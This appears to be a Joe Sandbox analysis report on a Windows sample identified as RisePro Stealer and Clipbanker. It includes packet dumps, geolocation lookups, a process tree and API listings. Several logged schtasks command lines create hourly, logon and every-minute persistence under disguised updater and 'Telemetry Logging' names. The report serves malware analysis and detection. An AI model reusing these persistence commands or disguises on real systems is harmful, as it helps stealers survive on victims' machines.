{DrI,\|u6E>q}g)UME'j}7^wLekT`#%bnF&-o/8SE{1E,<c\|bz
May 17, 2024 23:45:14.553447962 CEST	1236	IN	Data Raw: 8b 46 7a 1a 01 b7 08 bd e8 11 11 7c 83 ee 57 22 70 03 15 e4 ed a2 17 31 ba 52 78 e6 fb b7 ba 6b 46 40 f9 62 4c 19 cf 0f 83 67 98 84 14 d6 a1 84 0d 70 e7 ad 96 18 5f 8e 2d 2d ee da 4b a9 1a ef fa 01 bb 89 f5 32 c4 d1 0b f5 7c e5 6b fa 6f 04 df 4e Data Ascii: Fz\|W"p1RxkF@bLgp_--K2\|koN$Xkj+%R+t[ BS=)d;*l;._>KfBqxY(F\|0.Ve%S61opMG`'\YfRXvY[R+t[ BS=
May 17, 2024 23:45:14.555825949 CEST	448	IN	Data Raw: 1e 0f a1 a7 4e 8a 54 6a 55 a2 2a 2f 6e 5e cb f1 f6 09 49 e4 0d c8 5c 63 28 b1 36 8f 8b b8 99 c3 4f 5c 69 f7 db 86 b0 64 07 52 2d 8c 8c 18 41 64 1b 7d 70 60 7d 5a e5 46 3d 11 d9 15 8c bf 42 63 52 cb d2 94 b8 50 61 63 c7 d7 94 fe c2 7e 10 ed 6c 17 Data Ascii: NTjU/n^I\c(6O\idR-Ad}p`}ZF=BcRPac~lVjP/&0[^EHRqW~;GE/(PiuiU/bsZD_W5{6"f#83\|)`zwE++i4y5b6=a;8Y
May 17, 2024 23:45:14.555838108 CEST	1236	IN	Data Raw: 3c 94 dc b5 48 e2 7b f7 a1 f5 49 a6 7b 46 b9 09 0d 4e b3 bc 67 e5 c9 3b 26 88 fa 0f 3d 5f 0b da 57 17 fb 4c 49 bd 9f db 07 5f 87 d6 06 4c c1 6b 9c c6 52 5e 1d de c7 cb c5 1d 25 8e 52 62 dc 0c 86 94 8e ef 94 bd 6b a3 26 8b a7 3a d9 99 3f 73 03 be Data Ascii: <H{I{FNg;&=_WLI_LkR^%Rbk&:?s;[QT%mp}4Qdv#<6I[YA:e4WF1-]?Zx_bqI\6`~PaFp71"<Y^T,
May 17, 2024 23:45:14.560369968 CEST	1236	IN	Data Raw: 22 2c 2c 23 0d 8b 0d 20 96 99 a8 85 2f 02 61 96 ba c3 65 43 f5 f9 55 ba 5e 77 99 a9 10 6c 99 75 51 38 66 31 00 e4 d5 de 68 b3 d6 89 3b fd c5 4d 70 58 ad fe 13 44 71 d9 b6 89 60 41 55 b4 85 62 8e 3a 6e e0 b2 6e 1f 6a 3d 00 f9 84 fc 79 6e c0 7f 5e Data Ascii: ",,# /aeCU^wluQ8f1h;MpXDq`AUb:nnj=yn^^Rj]p+oR#oFpd,Y5rIh?G0j\|,]ultVgp7"L\j]n0zSi#[J3qAJ"
May 17, 2024 23:45:14.560380936 CEST	1236	IN	Data Raw: 22 03 34 59 72 c2 09 3f 67 c8 91 c4 6e 54 f2 47 6a 73 45 5c 15 5d 77 d6 ef ea 85 53 ef f8 57 8f b1 c5 5d 17 bf 5f 1c e3 97 62 7a a0 b5 d0 eb f1 64 9f a9 7a e1 d0 97 f0 c2 b6 fc b7 b1 45 c3 4f b2 4d 03 fd 8f 49 80 0d d0 83 f8 61 52 a3 71 00 d6 d9 Data Ascii: "4Yr?gnTGjsE\]wSW]_bzdzEOMIaRql%Szb%/_jhtMHZ'<Y%g;L_a>Qvxls(mi!jt!o~Vnj-@m[.\|q+&+S5g/A)t+F3#Jr$R~
May 17, 2024 23:45:14.560385942 CEST	1236	IN	Data Raw: ea e6 fb 15 1a 78 66 9b ed d1 58 a3 22 d2 02 75 4d 27 1b c8 12 a6 09 3f 4e c9 69 c9 a0 50 1f 15 a5 51 7b b1 3f 42 f9 73 2c 36 3d db 73 4c 7a a4 9b 17 5a 97 8b b0 28 48 c8 48 1f 85 60 d5 2e 4a a8 55 cd 5e 2f f0 b6 75 92 f3 e7 61 88 93 ad 57 63 67 Data Ascii: xfX"uM'?NiPQ{?Bs,6=sLzZ(HH`.JU^/uaWcgoh-X4m;<0y8.pE2D>0*)3k?[1{n5QEM#L'&Qo2^q)' 1\@?\ns7j'U~,dA\B
May 17, 2024 23:45:14.565460920 CEST	896	IN	Data Raw: 74 ed f0 17 d6 d7 b6 54 21 6c 79 3b 09 77 78 f9 43 cf 20 a2 57 63 1b de ef 29 f5 8e 86 c7 cb 7b 26 a2 a4 49 ab d8 5f 00 75 6d 27 84 4d 8c f2 cd d7 65 45 d0 8b d9 6d f6 5e 1b 24 75 cd 70 00 d5 77 76 b1 53 5c 9d f6 50 49 24 03 c5 96 74 aa e0 f2 4b Data Ascii: tT!ly;wxC Wc){&I_um'MeEm^$upwvS\PI$tKYk{Ql"9K8RoA4s-FhyAQXGL;~k^^F#d~)g0!EQ:(f4V^-?8X1KF*
May 17, 2024 23:45:14.565471888 CEST	1236	IN	Data Raw: 7a 21 b2 78 59 c6 6c 22 b0 91 6c 30 ca b7 b9 a8 eb 5e 8f c7 2d a8 0d af 6c f0 bd 13 80 5a c5 ab 9d 38 0d 38 c4 b5 99 08 cd 54 49 89 ae 62 dd 13 8e ce ab 8c 35 19 6b 73 26 8d 0c 86 47 d5 99 27 2d 5e bb 5b 09 43 92 f4 e8 34 1d f3 00 5c e6 74 36 71 Data Ascii: z!xYl"l0^-lZ88TIb5ks&G'-^[C4\t6q@NnyPVwI:<!\|O)TXK0{ ",HM#P>W\Bj*?zAF6H=mPl+2\U+7DC8t\:#/It jY_a2
May 17, 2024 23:45:14.570732117 CEST	1236	IN	Data Raw: c6 df b1 df dc 13 5c 35 34 b3 ab 06 87 0c fd 6b dd 86 bc f0 05 b7 00 e1 72 1d 40 3d c1 f8 f7 71 db 24 c6 25 14 8c 20 5b f4 09 c2 1d e2 2d 0e 2d 23 14 80 83 f3 a3 5c 73 0b 2f 72 25 cf 8e a6 5f bc 9a c5 04 9c bf ef 9f 1b 72 af 6e eb a6 6b 36 e4 ac Data Ascii: \54kr@=q$% [--#\s/r%_rnk68Bya03]ID;x[x88rovn8`Y${<{\cCl^@~wzw?jJ+hE@2BXy\|W\\_1JM=A&{;hB ]n*a
May 17, 2024 23:45:14.572171926 CEST	1236	IN	Data Raw: c4 59 6a ee fa 83 16 16 15 80 69 6b 01 4d 27 08 a0 a3 42 4f 99 b7 89 3d 4d bc 0b c2 ad 6b 07 b7 f5 04 b1 05 3f cf 8b a9 09 a6 d8 72 2b ec 76 3f ca d8 e3 f5 7c 90 2a 56 12 94 73 9b 81 9e 90 7a 6c 9b 0f 0d 66 fd 97 64 fb 99 0c 26 1e a9 fa 7a cb 53 Data Ascii: YjikM'BO=Mk?r+v?\|Vszlfd&zS?I8_&R6Pk TBp'2?lrhy4cR;8WcQS$.~GYwi$fEKsB/2x!=`7Q\|@M38V@$L=UD {GLBe%

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49705	34.117.186.192	443	4112	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-17 21:45:03 UTC	238	OUT	GET /widget/demo/12.205.151.60 HTTP/1.1 Connection: Keep-Alive Referer: https://ipinfo.io/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Host: ipinfo.io
2024-05-17 21:45:03 UTC	513	IN	HTTP/1.1 200 OK server: nginx/1.24.0 date: Fri, 17 May 2024 21:45:03 GMT content-type: application/json; charset=utf-8 Content-Length: 992 access-control-allow-origin: * x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block x-content-type-options: nosniff referrer-policy: strict-origin-when-cross-origin x-envoy-upstream-service-time: 3 via: 1.1 google strict-transport-security: max-age=2592000; includeSubDomains Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-05-17 21:45:03 UTC	877	IN	Data Raw: 7b 0a 20 20 22 69 6e 70 75 74 22 3a 20 22 31 32 2e 32 30 35 2e 31 35 31 2e 36 30 22 2c 0a 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 22 69 70 22 3a 20 22 31 32 2e 32 30 35 2e 31 35 31 2e 36 30 22 2c 0a 20 20 20 20 22 68 6f 73 74 6e 61 6d 65 22 3a 20 22 31 32 2d 32 30 35 2d 31 35 31 2d 36 30 2e 73 74 61 74 69 63 2e 63 70 65 2e 61 74 74 2e 6e 65 74 22 2c 0a 20 20 20 20 22 63 69 74 79 22 3a 20 22 53 61 6e 20 46 72 61 6e 63 69 73 63 6f 22 2c 0a 20 20 20 20 22 72 65 67 69 6f 6e 22 3a 20 22 43 61 6c 69 66 6f 72 6e 69 61 22 2c 0a 20 20 20 20 22 63 6f 75 6e 74 72 79 22 3a 20 22 55 53 22 2c 0a 20 20 20 20 22 6c 6f 63 22 3a 20 22 33 37 2e 37 37 34 39 2c 2d 31 32 32 2e 34 31 39 34 22 2c 0a 20 20 20 20 22 6f 72 67 22 3a 20 22 41 53 37 30 31 38 20 41 54 26 54 20 Data Ascii: { "input": "12.205.151.60", "data": { "ip": "12.205.151.60", "hostname": "12-205-151-60.static.cpe.att.net", "city": "San Francisco", "region": "California", "country": "US", "loc": "37.7749,-122.4194", "org": "AS7018 AT&T
2024-05-17 21:45:03 UTC	115	IN	Data Raw: 61 74 74 2e 6e 65 74 22 2c 0a 20 20 20 20 20 20 22 6e 61 6d 65 22 3a 20 22 41 54 54 20 41 62 75 73 65 22 2c 0a 20 20 20 20 20 20 22 6e 65 74 77 6f 72 6b 22 3a 20 22 31 32 2e 32 30 35 2e 30 2e 30 2f 31 36 22 2c 0a 20 20 20 20 20 20 22 70 68 6f 6e 65 22 3a 20 22 2b 31 2d 39 39 39 2d 39 39 39 2d 39 39 39 39 22 0a 20 20 20 20 7d 0a 20 20 7d 0a 7d Data Ascii: att.net", "name": "ATT Abuse", "network": "12.205.0.0/16", "phone": "+1-999-999-9999" } }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49706	172.67.75.166	443	4112	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-17 21:45:04 UTC	262	OUT	GET /demo/home.php?s=12.205.151.60 HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Host: db-ip.com
2024-05-17 21:45:05 UTC	654	IN	HTTP/1.1 200 OK Date: Fri, 17 May 2024 21:45:04 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close x-iplb-request-id: AC46D30C:EB2E_93878F2E:0050_6647CFE0_DD85795:7B63 x-iplb-instance: 59128 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=BbLa13mODvcFrFUDjXTaTrzfR7%2BQC0rGR1SPe%2FVZ3s4M5LvHrDK%2B0nuzLOIkT690GZe9CxcrADUIExTD8hSAB5PMstnwlIC4tHLKAeeurVud1TNyDvDCel5KEA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8856cadcbd070ffb-LAX alt-svc: h3=":443"; ma=86400
2024-05-17 21:45:05 UTC	715	IN	Data Raw: 32 64 30 0d 0a 7b 22 73 74 61 74 75 73 22 3a 22 6f 6b 22 2c 22 64 65 6d 6f 49 6e 66 6f 22 3a 7b 22 69 70 41 64 64 72 65 73 73 22 3a 22 31 32 2e 32 30 35 2e 31 35 31 2e 36 30 22 2c 22 63 6f 6e 74 69 6e 65 6e 74 43 6f 64 65 22 3a 22 4e 41 22 2c 22 63 6f 6e 74 69 6e 65 6e 74 4e 61 6d 65 22 3a 22 4e 6f 72 74 68 20 41 6d 65 72 69 63 61 22 2c 22 63 6f 75 6e 74 72 79 43 6f 64 65 22 3a 22 55 53 22 2c 22 63 6f 75 6e 74 72 79 4e 61 6d 65 22 3a 22 55 6e 69 74 65 64 20 53 74 61 74 65 73 22 2c 22 69 73 45 75 4d 65 6d 62 65 72 22 3a 66 61 6c 73 65 2c 22 63 75 72 72 65 6e 63 79 43 6f 64 65 22 3a 22 55 53 44 22 2c 22 63 75 72 72 65 6e 63 79 4e 61 6d 65 22 3a 22 44 6f 6c 6c 61 72 22 2c 22 70 68 6f 6e 65 50 72 65 66 69 78 22 3a 22 31 22 2c 22 6c 61 6e 67 75 61 67 65 73 22 Data Ascii: 2d0{"status":"ok","demoInfo":{"ipAddress":"12.205.151.60","continentCode":"NA","continentName":"North America","countryCode":"US","countryName":"United States","isEuMember":false,"currencyCode":"USD","currencyName":"Dollar","phonePrefix":"1","languages"
2024-05-17 21:45:05 UTC	12	IN	Data Raw: 6c 22 3a 22 6c 6f 77 22 7d 7d 0d 0a Data Ascii: l":"low"}}
2024-05-17 21:45:05 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	17:44:54
Start date:	17/05/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x1b0000
File size:	8'778'752 bytes
MD5 hash:	3D09739846543F4962F2B432DA671C29
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_RiseProStealer, Description: Yara detected RisePro Stealer, Source: 00000000.00000002.4445088347.0000000006449000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RiseProStealer, Description: Yara detected RisePro Stealer, Source: 00000000.00000003.2157362439.00000000061CB000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	3
Start time:	17:45:15
Start date:	17/05/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	schtasks /create /f /RU "user" /tr "C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe" /tn "MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26 HR" /sc HOURLY /rl HIGHEST
Imagebase:	0x7ff6d64d0000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	17:45:15
Start date:	17/05/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	17:45:15
Start date:	17/05/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	schtasks /create /f /RU "user" /tr "C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe" /tn "MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26 LG" /sc ONLOGON /rl HIGHEST
Imagebase:	0x1c0000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	17:45:15
Start date:	17/05/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	17:45:15
Start date:	17/05/2024
Path:	C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe
Wow64 process (32bit):	true
Commandline:	C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe
Imagebase:	0x400000
File size:	4'563'640 bytes
MD5 hash:	AF6E384DFABDAD52D43CF8429AD8779C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_Clipbanker_f9f9e79d, Description: unknown, Source: 00000007.00000002.2220685526.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Author: unknown Rule: Windows_Trojan_Clipbanker_787b130b, Description: unknown, Source: 00000007.00000002.2220685526.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Author: unknown
Antivirus matches:	Detection: 100%, Avira Detection: 83%, ReversingLabs
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	17:45:16
Start date:	17/05/2024
Path:	C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe
Wow64 process (32bit):	true
Commandline:	C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe
Imagebase:	0x400000
File size:	4'563'640 bytes
MD5 hash:	AF6E384DFABDAD52D43CF8429AD8779C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_Clipbanker_f9f9e79d, Description: unknown, Source: 00000008.00000002.2218340799.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Author: unknown Rule: Windows_Trojan_Clipbanker_787b130b, Description: unknown, Source: 00000008.00000002.2218340799.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Author: unknown
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	17:45:16
Start date:	17/05/2024
Path:	C:\Users\user\AppData\Local\Temp\span1UB98D2D2zeo\llmcrdwzLnNKYB4T0Vnw.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\span1UB98D2D2zeo\llmcrdwzLnNKYB4T0Vnw.exe"
Imagebase:	0x400000
File size:	4'563'640 bytes
MD5 hash:	AF6E384DFABDAD52D43CF8429AD8779C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_Clipbanker_f9f9e79d, Description: unknown, Source: 00000009.00000002.2211800433.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Author: unknown Rule: Windows_Trojan_Clipbanker_787b130b, Description: unknown, Source: 00000009.00000002.2211800433.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Author: unknown
Antivirus matches:	Detection: 100%, Avira Detection: 83%, ReversingLabs
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	17:45:16
Start date:	17/05/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	/C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe"
Imagebase:	0x1c0000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	17:45:16
Start date:	17/05/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	17:45:17
Start date:	17/05/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	/C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe"
Imagebase:	0x1c0000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	17:45:17
Start date:	17/05/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	17:45:18
Start date:	17/05/2024
Path:	C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe
Imagebase:	0x400000
File size:	4'563'640 bytes
MD5 hash:	AF6E384DFABDAD52D43CF8429AD8779C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_Clipbanker_f9f9e79d, Description: unknown, Source: 0000000E.00000002.4441908172.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Author: unknown Rule: Windows_Trojan_Clipbanker_787b130b, Description: unknown, Source: 0000000E.00000002.4441908172.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Author: unknown
Antivirus matches:	Detection: 100%, Avira Detection: 83%, ReversingLabs
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	15
Start time:	17:45:18
Start date:	17/05/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	/C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe"
Imagebase:	0x1c0000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	17:45:19
Start date:	17/05/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	17:45:24
Start date:	17/05/2024
Path:	C:\Users\user\AppData\Local\AdobeUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\AdobeUpdaterV2.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\AdobeUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\AdobeUpdaterV2.exe"
Imagebase:	0x400000
File size:	4'563'640 bytes
MD5 hash:	AF6E384DFABDAD52D43CF8429AD8779C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_Clipbanker_f9f9e79d, Description: unknown, Source: 00000011.00000002.2298062400.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Author: unknown Rule: Windows_Trojan_Clipbanker_787b130b, Description: unknown, Source: 00000011.00000002.2298062400.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Author: unknown
Antivirus matches:	Detection: 100%, Avira Detection: 83%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	17:45:33
Start date:	17/05/2024
Path:	C:\Users\user\AppData\Local\AdobeUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\AdobeUpdaterV2.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\AdobeUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\AdobeUpdaterV2.exe"
Imagebase:	0x400000
File size:	4'563'640 bytes
MD5 hash:	AF6E384DFABDAD52D43CF8429AD8779C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_Clipbanker_f9f9e79d, Description: unknown, Source: 00000012.00000002.2379291934.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Author: unknown Rule: Windows_Trojan_Clipbanker_787b130b, Description: unknown, Source: 00000012.00000002.2379291934.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Author: unknown
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	17:45:41
Start date:	17/05/2024
Path:	C:\Users\user\AppData\Local\Temp\EdgeMS2_45c48cce2e2d7fbdea1afc51c7c6ad26\EdgeMS2.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\EdgeMS2_45c48cce2e2d7fbdea1afc51c7c6ad26\EdgeMS2.exe"
Imagebase:	0x400000
File size:	4'563'640 bytes
MD5 hash:	AF6E384DFABDAD52D43CF8429AD8779C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_Clipbanker_f9f9e79d, Description: unknown, Source: 00000013.00000002.2460266314.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Author: unknown Rule: Windows_Trojan_Clipbanker_787b130b, Description: unknown, Source: 00000013.00000002.2460266314.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Author: unknown
Antivirus matches:	Detection: 100%, Avira Detection: 83%, ReversingLabs
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	4.9%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	61.4%
Total number of Nodes:	866
Total number of Limit Nodes:	19

Executed Functions

Function 06D33B60 Relevance: 190.8, APIs: 77, Strings: 26, Instructions: 10593networkCOMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 06D34E33
send.WS2_32(?,?,?,00000000), ref: 06D35003
__aulldiv.LIBCMT ref: 06D34954

Part of subcall function 06D24630: __aulldiv.LIBCMT ref: 06D246B2

Strings

U3?2, xrefs: 06D403F9
J`sv, xrefs: 06D3CDB1
Button, xrefs: 06D3DE06
&V\, xrefs: 06D3B308
GVwe, xrefs: 06D3AA0C
I{uo, xrefs: 06D39443
Cqu=, xrefs: 06D3AE79
%>#6, xrefs: 06D3B119
^^, xrefs: 06D3B4DB
C~xx, xrefs: 06D3D153
U3?2, xrefs: 06D3FDBA
Ea=y, xrefs: 06D40AAD
),', xrefs: 06D40C62, 06D40C71, 06D40C88, 06D40C94, 06D4097B, 06D4097E
TluK, xrefs: 06D3EE13
H%f0, xrefs: 06D3B4EB
,', xrefs: 06D40BF8
Tzxx, xrefs: 06D3AC92
Cqu=, xrefs: 06D3F33E
J`sv, xrefs: 06D3E492
nG1e1kO9AWhMmUV, xrefs: 06D3B845, 06D3BD37, 06D3C006, 06D3C0CD, 06D3F551, 06D405C6, 06D4064C
C~xx, xrefs: 06D3E67D
g}n, xrefs: 06D3B49C
Cqu=, xrefs: 06D3BB3D
GVwe, xrefs: 06D39F35
TluK, xrefs: 06D3ECBB
Tzxx, xrefs: 06D3B092

Memory Dump Source

Source File: 00000000.00000002.4445900915.0000000006D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 06D20000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d20000_file.jbxd

Similarity

API ID: __aulldiv$send
String ID: ^^$%>#6$&V\$),'$,'$Button$Cqu=$Cqu=$Cqu=$C~xx$C~xx$Ea=y$GVwe$GVwe$H%f0$I{uo$J`sv$J`sv$TluK$TluK$Tzxx$Tzxx$U3?2$U3?2$g}n$nG1e1kO9AWhMmUV
API String ID: 3864168910-588406914
Opcode ID: bac7ec3f64e7391798f4c971544b8a51e597832bd9debeea53086c5614c82a4b
Instruction ID: 7d3660303fb54cf5fcff57e886943838d7b3c3a16a0234ab01c5aeebaf77daa1
Opcode Fuzzy Hash: bac7ec3f64e7391798f4c971544b8a51e597832bd9debeea53086c5614c82a4b
Instruction Fuzzy Hash: 7954EE74D092A88BDB65CF28C894AE9BBB1AF89304F1481DAD84DA7351EB305FC5CF51

Function 06D4C230 Relevance: 68.7, APIs: 37, Strings: 2, Instructions: 474
threadsleepwindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetThreadExecutionState.KERNEL32(80000041), ref: 06D4C253
SetThreadExecutionState.KERNEL32(80000001), ref: 06D4C262
CreateThread.KERNEL32(00000000,00000000,Function_00021980,00000000,00000000,00000000), ref: 06D4C277
CloseHandle.KERNEL32(00000000), ref: 06D4C28A
GetDesktopWindow.USER32 ref: 06D4C290
GetWindowRect.USER32(?,?), ref: 06D4C2AA
GetSystemMetrics.USER32(00000000), ref: 06D4C2CA
GetSystemMetrics.USER32(00000001), ref: 06D4C2DB
GetDC.USER32(00000000), ref: 06D4C301
CreateCompatibleDC.GDI32(06010DB1), ref: 06D4C339
CreateCompatibleBitmap.GDI32(06010DB1,00000000,00000000), ref: 06D4C35B
SelectObject.GDI32(00000000,00000000), ref: 06D4C376
shutdown.WS2_32(?,00000002), ref: 06D4C484
closesocket.WS2_32 ref: 06D4C49F
SetThreadDesktop.USER32(00000104), ref: 06D4C505
Sleep.KERNEL32(00000064), ref: 06D4C518
GetCurrentThreadId.KERNEL32 ref: 06D4C527
